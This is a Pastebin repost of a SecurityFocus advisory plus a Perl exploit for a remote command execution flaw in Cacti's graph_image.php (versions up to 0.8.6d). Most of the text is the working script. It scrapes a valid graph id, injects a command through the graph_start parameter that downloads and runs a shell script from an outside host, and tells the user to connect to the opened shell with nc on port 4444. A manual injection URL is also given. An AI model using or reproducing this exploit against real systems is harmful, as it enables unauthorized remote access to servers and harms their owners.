Scorz-Root

'Graph_Image.php' Remote Command Execution Variant

Dec 16th, 2017
1,687
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.77 KB | None | 0 0
  1. source: http://www.securityfocus.com/bid/14129/info
  2.  
  3. RaXnet Cacti is prone to a remote command execution vulnerability that manifests in the 'graph_image.php' script. The issue is due to a bug in the input filters that leads to a failure in the application to properly sanitize user-supplied input.
  4.  
  5. This issue can facilitate various attacks including unauthorized access to an affected computer.
  6.  
  7. #!/usr/bin/perl
  8. #
  9. # Remote Command Execution Exploit for Cacti <= 0.8.6d
  10. #
  11. # This exploit open a remote shell on the targets that uses Cacti
  12. # TARGET HOST MUST BE A GNU/LINUX SERVER, if not:
  13. # manual exploiting -->
  14. http://www.example.com/cacti/graph_image.php?local_graph_id=[valid_value]&gr
  15. aph_start=%0a[command]%0a
  16. # Patch: download the last version http://www.cacti.net/download_cacti.php
  17. # Discovered and Coded by Alberto Trivero
  18.  
  19. use LWP::Simple;
  20.  
  21. print "\n\t===============================\n";
  22. print "\t= Exploit for Cacti <= 0.8.6d =\n";
  23. print "\t=      by Alberto Trivero     =\n";
  24. print "\t===============================\n\n";
  25.  
  26. if(@ARGV<2 or !($ARGV[1]=~m/\//)) {
  27.    print "Usage:\nperl $0 [target] [path]\n\nExamples:\nperl $0
  28. www.example.com /cacti/\n";
  29.    exit(0);
  30. }
  31.  
  32. $page=get("http://".$ARGV[0].$ARGV[1]."graph_view.php?action=list") || die
  33. "[-] Unable to retrieve: $!";
  34. print "[+] Connected to: $ARGV[0]\n";
  35. $page=~m/local_graph_id=(.*?)&/ || die "[-] Unable to retrieve a value for
  36. local_graph_id";
  37. print "[~] Sending exploiting request, wait for some seconds/minutes...\n";
  38. get("http://".$ARGV[0].$ARGV[1]."graph_image.php?local_graph_id=$1&graph_sta
  39. rt=%0acd /tmp;wget http://albythebest.altervista.org/shell.pl;chmod 777
  40. shell.pl;perl shell.pl%0a");
  41. print "[+] Exploiting request done!\n";
  42. print "[*] Now try on your box: nc -v $ARGV[0] 4444\n";
Advertisement
Add Comment
Please, Sign In to add comment